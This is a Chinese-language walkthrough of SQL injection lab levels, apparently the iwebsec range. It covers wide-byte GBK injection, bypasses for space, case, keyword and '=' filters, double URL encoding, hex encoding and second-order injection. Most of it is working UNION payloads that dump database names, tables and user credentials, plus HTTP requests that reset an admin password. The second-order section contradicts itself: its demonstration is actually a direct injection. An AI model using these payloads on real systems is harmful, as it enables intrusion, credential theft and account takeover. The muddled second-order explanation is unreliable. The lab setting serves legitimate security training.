??????06-寬字節注入
1,該漏洞的根本原因是字符集處理不一致(GBK雙字節特性)與不安全的轉義方式(addslashes)共同導致。構造基礎sql注入語句
1%df%27%20%23
漏洞原理
- 字符集設置:mysql_query("SET NAMES gbk")?將連接字符集設置為GBK(一種雙字節編碼)。
- 輸入處理:使用addslashes($_GET['id'])轉義特殊字符(如單引號'會被轉義為\')。
- 漏洞觸發:當輸入中包含%df'時:
- addslashes將其轉義為%df\'(即%df%5c%27)
- GBK解碼時,%df%5c被解析為漢字"運"(%df%5c是GBK編碼中的合法字符)
- 最終單引號'逃逸:...id='運'...?→ 導致SQL語句閉合被破壞
2,其他步驟和sql注入的基本操作是一樣的,先判斷當前查詢的數據表有幾列
1%df%27%20order%20by%203%23
1%df%27%20order%20by%204%23
然后就是判斷查詢語句的回顯位置
-1%df%27%20union%20select%201,2,3%23
確認三個都是回顯位置之后,再爆出數據庫名
-1%df%27%20union%20select%201,version(),database()%23
-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x73716c69%20--%20
原內容 | 修正后 | 原因 |
table_name='sqli' | table_name=0x73716c69 | 避免引號被轉義,0x73716c69?是?'sqli'?的十六進制 |
--+ | --%20 | 確保注釋符后有空格(%20?是 URL 編碼的空格) |
開頭?-1%df%27 | 保留 | 利用寬字節注入繞過轉義(%df'?→?運') |
-1%df%27%20union%20select%20id,username,password%20from%20sqli--%20
07-空格過濾繞過
1,首先分析源代碼,代碼如何實現的空格繞過
空格過濾實現機制
if (preg_match('/ /', $_GET["id"])) {
??? die("ERROR");
}
- 正則表達式過濾:使用?preg_match('/ /', ...)?檢測輸入中是否包含空格字符
- 檢測到空格立即終止:如果輸入中包含任何空格(ASCII 32),直接執行?die("ERROR")?終止腳本
- 過濾位置:在SQL查詢構造前進行過濾,位于用戶輸入處理階段
關鍵安全漏洞
雖然過濾了空格,但存在嚴重的SQL注入漏洞:
$id=$_GET['id']; // 未做任何轉義或過濾
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 直接拼接
- 數字型注入:參數直接拼接到SQL語句中,沒有引號包裹
- 無其他防護:缺少參數化查詢、類型轉換等安全措施
- 錯誤信息暴露:print_r(mysql_error())?會顯示詳細數據庫錯誤
繞過空格過濾的方法
攻擊者可以使用以下字符替代空格:
1. 水平制表符 (TAB)
?id=1%09UNION%09SELECT%091,2,3
2. 換行符
?id=1%0aUNION%0aSELECT%0a1,version(),3
3. 注釋符 /**/
?id=1/**/UNION/**/SELECT/**/1,2,database()
4. 括號包裹
?id=(1)UNION(SELECT(1),2,3)
?
2,構造關鍵攻擊語句,四種方法均可
(1)#
1%09#
1%0a#
1/**/#
第一步,判斷查詢數據表有幾列
1/**/order/**/by/**/3#
1/**/order/**/by/**/4#
1/**/union/**/select/**/1,2,3#
-1/**/union/**/select/**/1,version(),database()#
-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='sqli'#
-1/**/union/**/select/**/id,username,password/**/from/**/sqli--
在 SQL 注入中,#?和?--?注釋符的行為差異主要與 URL 編碼和 SQL 語法有關。以下是詳細解釋:
根本原因
- URL 中?#?的特殊含義:
- #?在 URL 中是片段標識符(fragment identifier),瀏覽器不會將?#?及之后的內容發送到服務器
- 例如:example.com/test.php?id=1#comment?→ 服務器只收到?id=1
- --?注釋的要求:
- SQL 標準要求?--?后必須有空格才能生效
- 在 URL 中需用?--+(+?被解碼為空格)或?--%20(%20 是空格編碼)
?
08-大小寫過濾繞過
1,大小寫過濾實現方法
if (preg_match('/select/', $_GET["id"])) {
??? die("ERROR");
}
- 正則表達式過濾:使用?preg_match('/select/', ...)?檢測輸入中是否包含小寫字符串?"select"
- 區分大小寫:正則表達式默認區分大小寫,只匹配小寫?select
- 檢測到即終止:發現小寫?select?時立即終止腳本 (die("ERROR"))
2,嘗試order by注釋符判斷數據表存在幾列
1 order by 4 --+
再嘗試union select爆出數據庫名
1 union SELECT 1,2,3 --+
1 union SELECT 1,version(),database() --+
1 union SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1 union SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+
1 union SELECT id,username,password from sqli--+
09-雙寫關鍵字繞過
過濾邏輯分析
$id = preg_replace('/select/i', '', $_GET["id"]);
- 正則表達式過濾:
- 模式:/select/i
- i?修飾符:不區分大小寫(匹配 SELECT、select、SeLeCt 等)
- 功能:刪除輸入中所有出現的 "select" 字符串(不區分大小寫)
- 處理流程:
- 獲取用戶輸入的?id?參數
- 刪除其中所有 "select" 字符串(不區分大小寫)
- 將處理后的字符串用于 SQL 查詢拼接
雙寫繞過原理
攻擊者通過構造雙寫關鍵字來繞過過濾:
- 過濾機制缺陷:僅執行一次字符串替換
- 繞過方法:插入?selselectect?→ 過濾后變為?select
- 原始輸入:selselectect
- 過濾過程:
- 刪除中間的 "select" →?sel[刪除]ect
- 結果:select
1,sql注入語句的基本格式是1 --+,嘗試判斷數據表存在多少列
1 order by 3--+
1 order by 4--+
2,然后再union select判斷查詢語句的回顯位置,需要注意使用雙寫繞過
1 union%20 selselectect%20 1,2,3--+
1 union%20 selselectect%20 1,version(),database()--+
1 union%20 selselectect%20 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1 union%20 selselectect%20 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+
1 union%20 selselectect%20 id,username,password from sqli--+
10-雙重url編碼繞過
防御機制分析
if (preg_match('/select/', $_GET["id"])) {
??? die("ERROR");
} else {
??? $id = urldecode($_GET['id']);? // 關鍵漏洞點
??? $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
}
- 關鍵詞過濾:
- 使用?preg_match('/select/', ...)?檢測原始GET參數中是否包含小寫字符串 "select"
- 檢測到即終止腳本 (die("ERROR"))
- URL解碼處理:
- 對過濾后的參數執行?urldecode()?解碼
- 將解碼后的值直接拼接到SQL查詢中
1,嘗試構造注入語句
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3#
爆庫
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,database()#
爆表
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563#
爆列
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572#
爆數據
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user#
11-十六進制繞過
防御機制分析
if (!get_magic_quotes_gpc()) {??
??? $id = addslashes($_GET['id']);
??? $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
??? $result=mysql_query($sql);??????????
}else{
??? $id =$_GET['id'];????????
??? $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
??? $result=mysql_query($sql);
}
- get_magic_quotes_gpc()檢測:
- 檢查PHP配置中magic_quotes_gpc是否開啟
- 該功能在PHP 5.4+已被移除,現代PHP環境總是進入if分支
- addslashes()轉義:
- 在特殊字符('、"、\、NULL)前添加反斜杠
- 示例:'?→?\',"?→?\"
關鍵安全漏洞
1. 數字型注入漏洞
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
- 致命缺陷:參數直接拼接到SQL語句,沒有引號包裹
- addslashes()對數字型注入完全無效
- 攻擊者可以構造任意SQL表達式
2. 十六進制繞過機會
當需要字符串參數時,可使用十六進制編碼繞過addslashes():
SELECT * FROM user WHERE id=0x31 OR 1=1
?
1,構造漏洞利用語句
1 order by 3 --+
1 order by 4 --+
2,嘗試判斷數據表存在幾列
1 union select 1,2,3--+
1 union select 1,version(),database()--+
1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x73716c69
1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from sqli)--+
12-等價函數替換過濾繞過
過濾邏輯分析
1.?等號過濾機制
if (preg_match('/=/', $_GET["id"])) {
??? die("ERROR");
}
- 正則表達式:/=/?匹配參數中任何位置的等號?=
- 攔截效果:只要?id?參數包含等號(即使是 URL 編碼的?%3D),立即終止腳本并返回 "ERROR"
- 繞過關鍵:構造不包含等號但能實現 SQL 注入的 Payload
2.?SQL 查詢結構
$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";
- 注入點類型:數字型注入(無引號包裹)
- 漏洞位置:$id?直接拼接進 SQL 語句
- 可利用點:無需閉合引號,可直接注入 SQL 代碼
3.?錯誤信息泄露
print_r(mysql_error());
- 關鍵優勢:SQL 報錯信息直接輸出,支持報錯注入
- 利用價值:可通過錯誤信息獲取數據庫結構、查詢內容等敏感數據
繞過方案(避免使用等號)
方案 1:使用?LIKE?替代等號(聯合查詢注入)
/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+
繞過原理:
- LIKE?實現字符串匹配,功能等效于?=
- 0x73716c69?是?'sqli'?的十六進制,避免單引號
Payload 分解:
- -1:使原查詢無結果,聯合查詢結果可見
- like database():替代?= database()
- like 0x73716c69:替代?= 'sqli'
方案 2:使用?REGEXP?正則匹配
/12.php?id=1 or table_schema regexp database()--+
- 優勢:正則匹配更靈活,可處理部分匹配
- 典型場景:布爾盲注中逐字符判斷
/12.php?id=1 or (select database()) regexp '^a'--+
完整利用鏈示例
步驟 1:獲取表名
/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()--+
步驟 2:獲取列名
/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+
步驟 3:提取數據
/12.php?id=-1 union select 1,username,password from sqli--+
13-二次注入
二次注入原理分析
漏洞核心流程
- 輸入階段:用戶提交惡意數據(含 SQL 片段)
- 安全處理:addslashes()?轉義特殊字符(如?'?→?\')
- 存儲階段:轉義后的數據存入數據庫
- 取出階段:從數據庫取出原始數據(轉義符被丟棄)
- 執行階段:原始惡意數據拼接到 SQL 語句執行
漏洞存在點分析
// 1. 輸入處理(注冊時)
$username=addslashes($_POST['username']); // 轉義特殊字符
// 存入數據庫示例:admin'# → 存儲為 "admin\'#"
// 2. 漏洞觸發點(reset.php)
// 假設 reset.php 中有如下代碼:
$email = $_POST['email']; // 從表單獲取郵箱
$sql = "SELECT username FROM sqli WHERE email='$email'"; // 二次注入點
漏洞利用演示
- 注冊惡意賬戶:
- 用戶名:admin'#?(轉義后存儲為?admin\'#)
- 密碼:任意值
- 郵箱:attacker@example.com
- 數據庫實際存儲:
username | password | |
admin'# | 123456 | attacker@example.com |
- 注意:數據庫存儲?原始值?admin'#(反斜杠僅存在于插入時的轉義過程)
- 密碼重置攻擊:
// reset.php 代碼示例
$email = $_POST['email']; // 用戶輸入:attacker@example.com
$sql = "UPDATE sqli SET password='new_pass' WHERE email='$email'";
// 實際執行:
// UPDATE sqli SET password='new_pass' WHERE email='attacker@example.com'
- 看似安全,但攻擊者可構造:
$email = "attacker@example.com' AND username='admin'#";
- 最終 SQL:
UPDATE sqli SET password='new_pass'
WHERE email='attacker@example.com' AND username='admin'#' - 效果:將 admin 用戶的密碼重置為 new_pass
漏洞本質原因
- 轉義機制失效:
- addslashes()?僅在?數據插入時?提供保護
- 當數據從數據庫取出后,原始值被直接使用,轉義符消失
- 數據信任錯誤:
- 開發者誤認為"存入數據庫的數據都是安全的"
- 未對從數據庫取出的數據做二次驗證
- 上下文差異:
- 注冊時:數據作為?VALUES?部分被插入
- 重置時:數據作為?WHERE?條件被執行
漏洞利用步驟
- 注冊惡意賬戶:
POST /reg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=attack&email=attacker@example.com - 觸發密碼重置:
POST /reset.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=attacker@example.com' AND username='admin'# - 實際執行 SQL:
UPDATE sqli SET password='new_pass'
WHERE email='attacker@example.com' AND username='admin'#'
- #?注釋掉后續單引號
- 條件成立:同時匹配攻擊者郵箱和 admin 用戶名
防御方案
- 統一輸出過濾:
// 從數據庫取出數據后再次轉義
$email = mysql_real_escape_string($row['email']); - 使用預處理語句:
// reset.php 中
$stmt = $pdo->prepare("UPDATE sqli SET password=? WHERE email=?");
$stmt->execute([$new_pass, $email]); - 數據分級管理:
- 區分用戶輸入數據 vs 系統存儲數據
- 對所有動態值進行參數化處理
- 最小權限原則:
- 密碼重置功能使用獨立低權限賬戶
- 禁止執行多行 SQL
漏洞驗證方法
- 注冊用戶名為?test' OR '1'='1?的賬戶
- 嘗試用郵箱?任意值?重置密碼
- 觀察是否重置所有用戶密碼(或報錯信息泄露)
1,注冊用戶名填admin'#,密碼填123,郵箱填admin
然后通過郵箱找回
抓個包分析即可。首先注冊用戶
然后找回密碼